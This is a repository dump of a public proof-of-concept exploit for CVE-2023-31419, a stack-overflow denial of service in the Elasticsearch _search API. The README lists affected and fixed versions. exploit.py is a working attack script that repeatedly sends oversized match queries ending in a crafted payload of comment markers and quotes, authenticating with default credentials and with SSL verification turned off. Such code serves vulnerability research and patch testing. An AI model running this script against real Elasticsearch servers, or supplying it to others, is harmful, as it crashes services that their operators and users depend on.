├── poc └── DoS.mp4 ├── README.md └── exploit.py /poc/DoS.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqrtZeroKnowledge/Elasticsearch-Exploit-CVE-2023-31419/HEAD/poc/DoS.mp4 -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Elasticsearch StackOverflow vulnerability 2 | 3 | A flaw was discovered in Elasticsearch, affecting the `_search` API that allowed a specially crafted query string to cause a Stack Overflow and ultimately a Denial of Service. 4 | 5 | Affected Versions: 6 | 7 | Elasticsearch versions from 7.0.0 to 7.17.12 and from 8.0.0 to 8.9.0 8 | 9 | Solutions and Mitigations: 10 | 11 | The issue is resolved in Elasticsearch 7.17.13 and 8.9.1 12 | 13 | **CVSSv3:** 6.5 (Medium) - AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H 14 | **CVE ID:** CVE-2023-31419 15 | 16 | Ref: [Link](https://discuss.elastic.co/t/elasticsearch-8-9-1-7-17-13-security-update/343297) 17 | 18 | ## Proof-of-concept 19 | 20 | https://github.com/sqrtZeroKnowledge/Elasticsearch-Exploit-CVE-2023-31419/assets/31594437/52905c60-01e2-4bdb-b6dc-c51267963d7e 21 | 22 | -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import random 3 | import string 4 | 5 | es_url = 'http://localhost:9200' # Replace with your Elasticsearch server URL 6 | index_name = '*' 7 | 8 | payload = "/*" * 10000 + "\\" +"'" * 999 9 | 10 | verify_ssl = False 11 | 12 | username = 'elastic' 13 | password = 'changeme' 14 | 15 | auth = (username, password) 16 | 17 | num_queries = 100 18 | 19 | for _ in range(num_queries): 20 | symbols = ''.join(random.choice(string.ascii_letters + string.digits + '^') for _ in range(5000)) 21 | search_query = { 22 | "query": { 23 | "match": { 24 | "message": (symbols * 9000) + payload 25 | } 26 | } 27 | } 28 | 29 | #print((symbols * 12000)) 30 | print(f"Query {_ + 1} - Search Query:") 31 | 32 | search_endpoint = f'{es_url}/{index_name}/_search' 33 | response = requests.get(search_endpoint, json=search_query, verify=verify_ssl, auth=auth) 34 | 35 | if response.status_code == 200: 36 | search_results = response.json() 37 | 38 | #print(f"Query {_ + 1} - Response:") 39 | #print(search_results) 40 | 41 | total_hits = search_results['hits']['total']['value'] 42 | print(f"Query {_ + 1}: Total hits: {total_hits}") 43 | 44 | for hit in search_results['hits']['hits']: 45 | source_data = hit['_source'] 46 | print("Payload result: {search_results}") 47 | else: 48 | print(f"Error for query {_ + 1}: {response.status_code} - {response.text}") 49 | --------------------------------------------------------------------------------